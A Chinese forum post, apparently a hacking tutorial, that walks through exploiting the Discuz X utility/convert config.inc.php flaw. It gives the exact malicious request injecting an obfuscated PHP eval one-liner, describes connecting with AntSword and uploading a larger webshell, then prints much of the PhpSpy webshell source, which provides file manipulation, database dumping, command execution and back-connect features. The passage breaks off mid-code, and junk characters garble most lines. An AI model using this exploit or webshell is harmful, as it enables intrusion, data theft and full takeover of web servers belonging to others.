找回密码
 立即注册
搜索
查看: 7754|回复: 0

网络安全实战之discuz上传漏洞利用

[复制链接]

989

主题

92

回帖

5万

积分

管理员

积分
55362
发表于 2022-6-25 09:01:11 | 显示全部楼层 |阅读模式

攻击思路:$ E* n$ ]- ]0 N( a& m6 \& Q- Y! H
想要拿下一台主机A的权限:
( j! [# ]8 O" i3 d- K1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞: l- V! }# u/ R5 h# _
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
5 {0 x; u$ {, Q0 Z2 L  `' y7 O3、传上去后,得到apache用户普通权限,再提权成root
; x3 O' p8 X) K0 L1 x概述:
5 y0 Q! _: B2 P# X9 `# P  {" Q8 d这突破在一个DZ X系列自带的转换工具里面。
9 N& `& C# e. j" l! x漏洞路径:utility / convert / data / config.inc.php
$ p! L% U+ z+ m, W) }! v漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
, R* ]6 N. c: |8 f! W* o( q8 N触发突破过程:
$ w/ J" Y# R& ^; K8 o! x. ]$ k1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  / ~& K! t6 N) @% P8 [$ V) k
2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序+ F$ Q! L& }& G' L- z/ k
攻击过程:
% k+ i6 N8 f5 C8 m1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/. v& w9 g( q( m

: |: [% s. Q; }1 L" |+ l9 L) x1 Y$ p# V" h
2,右键单击空白处,选择发送到中继器,将报文发到中继器

3、然后在中继器中查看信息:

4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细:

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马+ b! t# Y/ v1 j% Z
6 u+ \0 y6 _- |' a9 t) H* J
8、通过中国蚁剑上传大码9 [! \8 o5 E8 p( N" r
! X! A! K- K: @; p" ?1 i# {
; l! o. f6 T" J& a: k$ J) f: K3 M
10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd

webshell代码如下:

  1. <?php
    8 l9 w+ g$ @! Z0 Y2 o  D

  2. 1 H+ M& x9 t/ u1 _% J. U
  3. /*****************************************************************************
    ! @5 C. c2 @( f9 E( L- G1 M3 h% M
  4. 2 F$ N1 a. n6 f! L8 c5 ?7 H
  5. ===================== 请误用于非法用途,造成一切后果与本人无关。====================  C* @& G$ `2 j  E0 u' k

  6. + ~6 K+ A6 [4 u' ?  f( P9 m6 t5 ^& A
  7. ====& L; R, ]+ h5 g$ `7 a

  8. - Z" r0 s+ L: a6 s& `9 N6 o3 W
  9. 0 H: [3 |/ B; M
  10. *****************************************************************************/
    5 L" _6 n% V& k1 t9 x

  11. % z3 s3 E. t& }( c
  12. error_reporting(7);3 Y4 ]8 T' n8 N8 ]+ q8 ]
  13. @set_magic_quotes_runtime(0);) z1 w% I1 V" H, U/ g
  14. ob_start();
    , f7 \- s5 k6 h: k! d1 \9 A
  15. $mtime = explode(' ', microtime());" Y8 H; |9 ^: U, [: |0 @
  16. $starttime = $mtime[1] + $mtime[0];
    8 R# d( x# S, T
  17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');/ F4 W/ Z( c2 ]8 a0 {( m7 |
  18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
    # @* I; p9 b1 q- m  D1 b
  19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');' m6 {; H1 @! {, P& Q/ v
  20. define('IS_COM', class_exists('COM') ? 1 : 0 );! F1 l( p  k6 G: Q
  21. define('IS_GPC', get_magic_quotes_gpc());
    & X0 f7 l$ a+ d0 c% a8 W" e9 o# e
  22. $dis_func = get_cfg_var('disable_functions');6 K. m; m! N3 |# ]4 m: ~
  23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
    6 y( i. _- u2 Q& y- ?; R5 v: U
  24. @set_time_limit(0);
    3 B/ G; B/ S* T( l' w# R# ?% S4 N

  25. $ X( t6 x( K2 |+ Z3 h4 a* @
  26. foreach(array('_GET','_POST') as $_request) {
    : z$ Q, U& {9 W4 B+ }
  27.         foreach($$_request as $_key => $_value) {
    2 G' ~0 ~8 g1 C( U) M
  28.                 if ($_key{0} != '_') {
    ( O* V" @+ K4 o0 _$ @6 d; T) v
  29.                         if (IS_GPC) {! ~% O) q8 q/ m% s. S
  30.                                 $_value = s_array($_value);
    - [# T/ J6 n% i% m- z& G, t
  31.                         }$ r, G1 `0 E, K+ h' W) h& n- I1 D
  32.                         $$_key = $_value;
    , b) f" r0 U1 Q
  33.                 }
    + D  t% Y. n2 {8 b4 o+ q
  34.         }
    9 F' p; h" F3 r# \
  35. }% V3 ~' f# i3 e# w8 k6 h

  36. . b0 [; K# H/ O. ]
  37. /*===================== 程序配置 =====================*/. W" `2 @) a& T" R
  38. $admin = array();$ r7 _* S) |8 S
  39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效3 R1 k1 l% C& H
  40. $admin['check'] = true;& q; M+ h2 u7 `/ Z5 M$ p/ O
  41. // 如果需要密码验证,请修改登陆密码* d6 x$ f1 Z! J; f" w" k# {3 P
  42. $admin['pass']  = 'xuegod';: h1 S+ n9 s3 f$ \# n

  43. 8 j* W/ \  V- S" C9 F
  44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
    * j3 q: H7 y- |: H8 K
  45. // cookie 前缀) u. a) t# \9 M6 M9 n5 D
  46. $admin['cookiepre'] = '';
    9 I. B3 n! }% }2 F- [3 O, E+ A
  47. // cookie 作用域
    ( ~% V% Q1 G! \6 A8 `
  48. $admin['cookiedomain'] = '';- F5 j" T0 ?0 m1 O, V- \/ n
  49. // cookie 作用路径
    5 u4 ^3 K5 x) |
  50. $admin['cookiepath'] = '/';
    + x5 ^9 h$ g- l8 h6 U& [9 X' d* ~
  51. // cookie 有效期6 \7 j$ e. b1 y4 V1 Y% h
  52. $admin['cookielife'] = 86400;' [1 v7 o( }! t, |
  53. /*===================== 配置结束 =====================*/
      X. \) F3 h4 c1 T

  54. 7 ~8 B( f/ {8 \+ n- E: |! U
  55. if ($charset == 'utf8') {
    9 m. M* B" v# ]' D1 z* K7 Y( J
  56.         header("content-Type: text/html; charset=utf-8");
    / M1 s+ D1 m$ s8 _7 d7 H' H. [
  57. } elseif ($charset == 'big5') {
    9 D# t7 n4 p8 L6 ^# w# J& Q. M
  58.         header("content-Type: text/html; charset=big5");, i: ]5 U9 o6 D  Z7 G" o3 E2 @
  59. } elseif ($charset == 'gbk') {8 P3 |9 E$ O; {) b
  60.         header("content-Type: text/html; charset=gbk");
    , c3 C. ?% E; x) R9 L- N, P0 `
  61. } elseif ($charset == 'latin1') {8 v4 E( h% \6 j* \6 I
  62.         header("content-Type: text/html; charset=iso-8859-2");  i; V2 d/ I& w7 w/ C2 V. @
  63. }
    ! F- E7 F; y: @3 B

  64. , I7 k3 J6 w$ i- ^
  65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];& {7 X+ {& n8 e. J; d& }
  66. $timestamp = time();
    + v; R9 e, y7 q- a$ z" U8 |
  67. 3 w( \% \, U3 Q* I. ?. m
  68. /*===================== 身份验证 =====================*/
    ' {6 d, X* ~% @9 g, q6 W. `6 m
  69. if ($action == "logout") {, @" Q* i' H1 L7 M5 C
  70.         scookie('phpspypass', '', -86400 * 365);# T) w7 Q% x2 a4 }
  71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    + D7 g: t+ U4 }2 a( p
  72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    0 Q. r% O  I2 w7 p8 G1 v1 ^' j
  73.         exit;! i8 L+ n2 q/ \* W
  74. }
    - f- o6 z. U) F4 Z6 `
  75. if($admin['check']) {6 J/ b8 ]/ h- a  t- U' b) Q$ G
  76.         if ($doing == 'login') {
    6 R' M2 S! N. [) R: x
  77.                 if ($admin['pass'] == $password) {
    , `% B+ [8 t. k# R
  78.                         scookie('phpspypass', $password);
    " U- Y5 s; U' |8 Z3 x
  79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');+ K5 b4 a2 |5 z% B: E3 P
  80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');! w! J/ v: N8 n* P8 H
  81.                         exit;) j) j2 x3 _/ ?" v. Y5 ?
  82.                 }
    ' p3 U; d8 G3 P& i; t' ~
  83.         }
    5 a+ h1 _* }5 S  U8 r- I
  84.         if ($_COOKIE['phpspypass']) {
    6 w2 _, U( R& H2 p+ w  m
  85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {
    + }3 o% t9 F3 l3 Q& [4 ~( H/ \0 `
  86.                         loginpage();
    4 b0 W/ p2 b9 J5 F/ B" ^
  87.                 }
    * L' m0 Z% q$ q: s0 _
  88.         } else {
    * n2 h2 N9 j% N! _
  89.                 loginpage();
    / r! L3 \/ ^* _0 ^( v# ^; h
  90.         }1 W; e& `" F; o+ x
  91. }# Z  A7 }* r8 `8 v0 _/ R- z  S' G! |
  92. /*===================== 验证结束 =====================*/( ^3 |; l2 @, ^5 Z- a& G" h4 ~
  93. / U  K' y- H/ f0 D" j+ s
  94. $errmsg = '';- m; r! w" I3 X5 i! K! ^- B
  95. * d. j$ k. H0 ]' p0 C  H) c# E2 t
  96. // 查看PHPINFO' x3 h7 @7 y* s4 P' a
  97. if ($action == 'phpinfo') {) E* i3 P& W/ U5 [
  98.         if (IS_PHPINFO) {
    0 E: K2 {, [4 w
  99.                 phpinfo();
    / |! I  `. f4 |- v; y8 H% a/ x
  100.         } else {0 M. d6 q2 l% |4 y8 h
  101.                 $errmsg = 'phpinfo() function has non-permissible';$ S+ m6 m/ E7 ]- I& D" H% g! x# D; G' h
  102.         }
    ! h( e# j. @9 @) Y
  103. }
    ; \3 ^: x$ r: S. K

  104. 1 Z; W" x; M, I& a
  105. // 下载文件
    ' ?( `; J, i6 R! A' m
  106. if ($doing == 'downfile' && $thefile) {
    ' H$ ^" i" Z/ y
  107.         if (!@file_exists($thefile)) {
    % l2 F/ z. x# q- a/ w7 _  R' ^% P
  108.                 $errmsg = 'The file you want Downloadable was nonexistent';3 ~# j( \$ a5 f  {- V; H
  109.         } else {5 ~3 u  M( ~3 i* P5 @" g4 @; _' r
  110.                 $fileinfo = pathinfo($thefile);( v1 j' v0 q( }2 g+ B
  111.                 header('Content-type: application/x-'.$fileinfo['extension']);" I/ t( F2 a7 a+ n) {( Y5 d' n
  112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);$ ]. n/ x8 z+ M$ P
  113.                 header('Content-Length: '.filesize($thefile));* B* J+ m3 l, P0 q, _5 B' @
  114.                 @readfile($thefile);
    $ Y% t6 r, n# v
  115.                 exit;
    : ?2 t& H: s/ E9 m: [0 `
  116.         }
    : k  b$ d! n# d4 M2 S# s
  117. }
    ' {0 X/ V6 x! ?) ]+ x0 d

  118. * p( P( S7 i$ t4 O
  119. // 直接下载备份数据库
    2 \% \+ ^3 C2 t7 t9 U
  120. if ($doing == 'backupmysql' && !$saveasfile) {
    5 a+ M( N; V0 F; G. \" B
  121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);' ?) I# }2 U5 {
  122.         $table = array_flip($table);
    ) U' O& n9 c8 b* j( U* }$ ]
  123.         $result = q("SHOW tables");# u4 H' |. u7 s; _- u, b
  124.         if (!$result) p('<h2>'.mysql_error().'</h2>');* j# ~$ p# \9 r" B4 u# c
  125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');9 [% P* C( X3 b0 a" h; K$ D
  126.         header('Content-type: application/unknown');6 Q" B2 Z. ~) m0 h+ U
  127.         header('Content-Disposition: attachment; filename='.$filename);
    / a0 J+ w2 l0 g  C. y
  128.         $mysqldata = '';; I4 u1 R6 l$ X: p4 F
  129.         while ($currow = mysql_fetch_array($result)) {- F2 y* t. A: N4 ~  E: j
  130.                 if (isset($table[$currow[0]])) {$ l5 L' ^7 c! l6 y. t2 L+ N5 t- s
  131.                         $mysqldata .= sqldumptable($currow[0]);
    $ X: T% j) ^! c" X
  132.                 }
    6 y. s  N8 x$ T' H+ V( Z( s
  133.         }- b- Z" y$ H& d  B: `( a
  134.         mysql_close();
    ( ^# a( |4 ?% ?$ _2 m- J& c7 W) @, r
  135.         exit;. e0 y% a$ y7 G1 V& i0 D
  136. }
    7 i& P$ F2 |) K3 _4 n" ?2 t, V( I0 E
  137. / P8 G3 [+ r- v  y6 ]* a; }
  138. // 通过MYSQL下载文件; A1 h4 l. B& |  c# V
  139. if($doing=='mysqldown'){
    2 J4 s. [! B! k3 e( S. G& Z
  140.         if (!$dbname) {
    4 M# Q. e' O7 Z1 w( b7 E7 J
  141.                 $errmsg = 'Please input dbname';
    ' f  _- l5 D% P' x* r( z0 u
  142.         } else {
    " V+ {  e2 ]" W$ ]) o. W
  143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    6 R* @3 [0 Y/ A) ~: B% @8 z4 \, {
  144.                 if (!file_exists($mysqldlfile)) {8 y: W( Y; \( L0 v- Z
  145.                         $errmsg = 'The file you want Downloadable was nonexistent';8 q- i- m4 g2 X1 R' z* p! b  S
  146.                 } else {5 F7 ~' Q7 p; z' q* t3 C9 y
  147.                         $result = q("select load_file('$mysqldlfile');");
    1 `9 ~1 j+ \  ]' P) c) g; A
  148.                         if(!$result){
    + ?* J6 ~0 l; H2 x- [/ C
  149.                                 q("DROP TABLE IF EXISTS tmp_angel;");
    0 R0 O. }* i  b- |5 X2 s/ M) a
  150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
    : P* z* p8 m7 h1 M5 ]
  151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
    0 |/ g( a; r& F0 r  [. f# P
  152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");( V) D  P) y7 C( N9 |
  153.                                 $result = q("select content from tmp_angel");% h# ?( b& H; \2 a" a( G
  154.                                 q("DROP TABLE tmp_angel");
    & b7 u/ g6 |: Y" j$ T* @# T- g
  155.                         }, P% y! ^& W7 c0 s/ P
  156.                         $row = @mysql_fetch_array($result);
    $ }) Q/ D6 t  \& z
  157.                         if (!$row) {
    1 C, T+ p/ s3 N6 c% f( h
  158.                                 $errmsg = 'Load file failed '.mysql_error();
    1 @: h2 f4 P) B0 S
  159.                         } else {
    ( ^. k6 t' m- y2 R/ ^8 k. c' Y* O
  160.                                 $fileinfo = pathinfo($mysqldlfile);* k& D" g! \6 m* g( K9 t
  161.                                 header('Content-type: application/x-'.$fileinfo['extension']);1 A* s  g. |6 m8 U
  162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
    / n. q" [" `( T; ^$ B$ H" q
  163.                                 header("Accept-Length: ".strlen($row[0]));9 Y5 y# G* a% @. b" C* q
  164.                                 echo $row[0];! ~$ `( z& u# K: d
  165.                                 exit;
    7 z7 F3 b" B# G* [  W; T
  166.                         }! L+ Y" n) C9 n, v
  167.                 }
    , U2 V3 Q& V$ O" ?# a5 `" F
  168.         }
    & z; ^1 `0 }  j8 i& C
  169. }
    6 U0 I/ i7 R+ l% L( r
  170. * ]5 u' P4 m: l5 k1 S  h
  171. ?>
    ; U2 d% T: o- ?# `0 g
  172. <html>
    9 W; }0 ]' L. V3 R
  173. <head>
    3 T0 r5 B9 Q9 ?- ?- V
  174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">, z9 M2 \1 ?! K* L$ r. e0 h3 ?4 ^) D
  175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>5 C0 Y) k5 n2 b
  176. <style type="text/css">2 S' L7 P4 b! l1 r* T, D5 \: }
  177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}1 g( b1 h& u# ^! R7 v% Z6 \( Z
  178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}: I: _$ s( B7 a- M8 J; e; @
  179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}+ o4 o. |$ e2 @+ G, e! P
  180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}! X0 E' G6 ]* O9 c# `  C
  181. a {color: #00f;text-decoration:underline;}, g! ^- ~! F: A4 e+ \
  182. a:hover{color: #f00;text-decoration:none;}' ], p6 G; s2 Y. }  b) \2 X
  183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}" G& J2 |+ A" [8 t- {
  184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}5 n/ L* A* M& f0 q( y
  185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}7 \7 ~/ P$ t3 X0 {7 @
  186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
    ' v; O- Z) s( [
  187. .head td span{font-weight:normal;}
    + P1 ~7 V* {6 v. K
  188. form{margin:0;padding:0;}6 k# C' i3 w" S& |; j  u5 ]
  189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}/ a, [9 [0 k; h6 @
  190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}- h% J4 p: c' c. ^. w/ v5 }7 b  |* d( g
  191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}- Z" W# E2 y4 Z7 J. |8 B
  192. </style>
    % t; a/ Z7 @8 W6 d2 @
  193. <script type="text/javascript">; p  o5 f6 ~2 W- }; w, s# E
  194. function CheckAll(form) {8 f- k( N: L9 W) m) l3 z
  195.         for(var i=0;i<form.elements.length;i++) {
    ! Y% j$ E! P- z! Z5 d
  196.                 var e = form.elements[i];* o  T0 N2 J$ }9 f* J% x
  197.                 if (e.name != 'chkall')8 o  v% f( P6 a9 l
  198.                 e.checked = form.chkall.checked;6 Y' C! _# o% |: Q8 Z: U5 V* N
  199.     }
    1 ?1 N: r* i! i  ?
  200. }
    + v! }  I( t/ Q8 {3 P- O
  201. function $(id) {
    ; g* i$ v& \! n5 w" c" d/ C) Z0 K
  202.         return document.getElementById(id);
    * h; F( _2 ?9 m# _* l  f; A
  203. }
    ; n$ ^, L9 n! e0 N
  204. function goaction(act){' J6 Q* _. \9 R
  205.         $('goaction').action.value=act;2 R$ i- v3 m" P+ l
  206.         $('goaction').submit();+ e8 f+ i& y3 I1 g2 d) B
  207. }' Q& S5 ~& Z6 k; S' p
  208. </script>; _) P9 o: P2 f5 E8 M
  209. </head>
    7 S. K& J3 m" S! h! M! k- s
  210. <body style="margin:0;table-layout:fixed; word-break:break-all">
    ! k8 Z) F2 x0 h8 F% U* m
  211. <table width="100%" border="0" cellpadding="0" cellspacing="0">7 u. k8 j0 J0 {2 \
  212.         <tr class="head">- b. W' Y  r( r8 {  {9 U/ C
  213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>( F# A" T1 p3 k9 U' d8 H' J
  214.         </tr>7 W  O& y+ e, l8 o
  215.         <tr class="alt1">
    / R/ d. _+ H: G
  216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
    , e$ _0 E$ a# R: x
  217.                         <a href="javascript:goaction('logout');">Logout</a> |
    9 K/ i3 n$ b* d, T0 H( o
  218.                         <a href="javascript:goaction('file');">File Manager</a> |
    * y1 s4 D# X6 a/ U! J3 i0 }- o
  219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> | 1 u) y4 t3 q8 u+ `5 B3 E( ]
  220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> | / r& A8 p8 G! e0 V+ j# [6 w
  221.                         <a href="javascript:goaction('shell');">Execute Command</a> |
    & s) o" t8 j4 V. e! ^- y& H; L1 G
  222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> | / l1 l3 ^6 s3 f7 Q
  223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>% k/ b# q6 y0 y1 i5 l: i
  224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
    - H: G! K: ~1 H+ e2 O4 q
  225.                 </td>
    ! P- b  D% v& E+ Y- k/ D" D
  226.         </tr>
    & `+ |9 @' D: x! {  a3 G% {
  227. </table>
    5 s: t+ s3 u) C! H, D) m; W, p
  228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>& a- F8 a8 G. c  q6 D1 }
  229. <?php3 a: f% W$ x8 q# x$ a

  230. * Z+ E# @! w' \, Z0 y
  231. formhead(array('name'=>'goaction'));
    0 X2 u+ D& W* h0 F/ e% S- k1 J& r; w
  232. makehide('action');0 C% {" y+ v+ y# p7 \9 w
  233. formfoot();# k0 Y  D2 I0 f6 Z+ Q
  234. ' S1 o5 Z0 ~8 N. V' T6 I
  235. $errmsg && m($errmsg);
    3 B& c* s( J$ g, e2 u4 Y
  236. $ h3 p+ c5 I" ]+ _! g
  237. // 获取当前路径
    5 u. s9 a/ E4 Q6 O/ |/ C3 R) @
  238. !$dir && $dir = '.';% h& a% f) L+ Z# m- v" ^
  239. $nowpath = getPath(SA_ROOT, $dir);/ s& S3 d( {/ d" K" u0 F& C
  240. if (substr($dir, -1) != '/') {
    $ ]# e8 ]( ]7 M4 i
  241.         $dir = $dir.'/';0 c; I- A- O) A5 M4 x# i4 v
  242. }$ d  {/ L5 ^* S7 F: u
  243. $uedir = ue($dir);0 O1 z: j( U' J# ]4 g1 a

  244. $ d2 t. f4 }; j& {9 \- }
  245. if (!$action || $action == 'file') {; y! p8 g. S& V1 e, v

  246. & \4 C+ h: g& c2 ~7 r7 J+ p
  247.         // 判断读写情况9 C: R# U" b) [6 |' d) t# Q' B
  248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
    " }: `/ W: _: _) B
  249. 3 M, {% b6 Q0 S4 Q9 V# F
  250.         // 删除目录; U- o7 k! A* y0 [8 _# u# Y
  251.         if ($doing == 'deldir' && $thefile) {9 C3 M2 ^. p+ M$ b+ Q- k
  252.                 if (!file_exists($thefile)) {
    # g, l& x( ]9 {7 c& O7 l& r$ T2 i
  253.                         m($thefile.' directory does not exist');" n7 {4 V" N: l5 c; a% `  _
  254.                 } else {! n. }, A% @& e' u4 d
  255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
    $ j' T, h) f# b1 \$ `9 q
  256.                 }
    : F- S" U7 ^, T$ }: @% \
  257.         }
    9 |, |$ w: Q: b" o* d

  258. $ C  I  l' z& ^. |
  259.         // 创建目录; Q" E+ D7 H& T4 X0 g5 Y
  260.         elseif ($newdirname) {% i# N& K! e+ I+ I
  261.                 $mkdirs = $nowpath.$newdirname;
    6 y# y+ c% K2 ?6 `
  262.                 if (file_exists($mkdirs)) {
    . \2 c$ K3 b" g4 [  \+ k# ]/ u( P
  263.                         m('Directory has already existed');
    ! [; l+ Q! G9 Q+ [0 w- t' P
  264.                 } else {
    & L7 Y# K$ v: Q* l! M* `- W
  265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));8 M6 M" z: ]7 T( w  s- ^/ ~
  266.                         @chmod($mkdirs,0777);
    1 p) G( q. C0 t: X  ~
  267.                 }. C7 P0 r4 h& N8 Y/ M6 V
  268.         }
    ; k0 r: L' \) C
  269. 0 A7 d2 ^- U9 r
  270.         // 上传文件
    " _$ z" O* L8 o$ w
  271.         elseif ($doupfile) {9 h5 {1 f0 d$ A+ G1 Z5 _- x! b
  272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));% t2 ?6 o3 k9 W% L
  273.         }
    ; c7 G& p$ s6 Z: g  ~0 ^
  274. 1 a3 s6 x2 {" c: Z2 t/ _
  275.         // 编辑文件: l1 c7 ~+ M- x7 u2 [2 I
  276.         elseif ($editfilename && $filecontent) {1 A9 V3 D8 j# B% }: O
  277.                 $fp = @fopen($editfilename,'w');
    " C4 ^, j9 k* U/ V) r4 r
  278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
    # J+ I0 w3 Q3 |' N& `  |
  279.                 @fclose($fp);3 X! z9 r: }* P9 r; U, V$ N* t
  280.         }) u# E5 ], {: \& D

  281. 9 t- n; X+ y6 u! Y3 Y3 u
  282.         // 编辑文件属性) ?' h" P; o( l' Q: z' p& H( v
  283.         elseif ($pfile && $newperm) {( X( A( G( w, H8 A1 S
  284.                 if (!file_exists($pfile)) {" }) n3 N/ n+ Q& ~
  285.                         m('The original file does not exist');
    " R. g1 D0 r. D+ V
  286.                 } else {7 @  b  _6 U3 a$ V$ x
  287.                         $newperm = base_convert($newperm,8,10);
    . S! L9 r: K" ?+ i5 B
  288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
    3 W6 T$ j& ?. x: M) G
  289.                 }% G. @! |* c, `: J8 j
  290.         }: R7 Z3 \; L$ v4 J, {1 E/ }2 }6 W

  291. 8 E' L3 H! y: V; c
  292.         // 改名9 u5 Y& i0 _4 a8 q
  293.         elseif ($oldname && $newfilename) {9 F; H5 r8 o. K0 C! m2 V
  294.                 $nname = $nowpath.$newfilename;
    ) f0 C( a- v5 f9 p6 P2 `+ s0 s
  295.                 if (file_exists($nname) || !file_exists($oldname)) {
    ! b( B: C" c. z8 i' w0 r! w  b
  296.                         m($nname.' has already existed or original file does not exist');; b. h9 Z* S  B# E4 @& k& C
  297.                 } else {
    ( p/ k: o) L& v6 E
  298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));. I2 ]3 J( a* ~; M
  299.                 }
    + A+ W% i; f9 O+ o" O- P6 G2 r6 N
  300.         }9 l2 j& L8 @% O7 z

  301. : ^( H0 {4 x( M  P2 j8 g4 o+ s
  302.         // 复制文件
    ! Z; n) r7 A& |
  303.         elseif ($sname && $tofile) {$ c) ?+ F! x8 `3 F% F
  304.                 if (file_exists($tofile) || !file_exists($sname)) {
    8 p- o4 }( S% @7 z
  305.                         m('The goal file has already existed or original file does not exist');
      f  g6 T+ W0 B+ k! {4 w7 n- L
  306.                 } else {
    ) `% j- f; B0 Q. M
  307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
    7 k! s) f( o5 R. t
  308.                 }1 {8 y7 m' Y- f! y) Q' i* H* X2 ^
  309.         }$ z6 E4 v7 p5 j3 J* `
  310. 8 w% y9 b; @. ^# n
  311.         // 克隆时间
    2 O+ q6 f0 S( ]
  312.         elseif ($curfile && $tarfile) {
    0 @4 o  ^# c1 f. C* Q0 A6 r
  313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
    2 p1 d* [, O" ?* c# R2 S
  314.                         m('The goal file has already existed or original file does not exist');
    7 k6 [/ l! [( H
  315.                 } else {
    , }' ~8 e: x. R& G
  316.                         $time = @filemtime($tarfile);  t, F% T4 H$ m0 c& x
  317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
    ; x4 g. V+ ?) t( @5 d, k
  318.                 }
    4 T9 h, J* j- `0 T
  319.         }
      k# G/ _' @+ v7 l# Z: t

  320. & ^: x. m  Z; s* V  Y3 k1 A
  321.         // 自定义时间
    % \% X  W( s) x8 G. I/ E
  322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
    + _, m4 @9 c. c6 U3 I
  323.                 if (!@file_exists($curfile)) {/ B) \/ x2 M6 c! o- g
  324.                         m(basename($curfile).' does not exist');7 Z1 A, v5 y6 d( U1 R5 Q0 Z
  325.                 } else {
    , n+ ]9 L* r5 h! z
  326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");: E9 [8 m/ I' v  b$ x
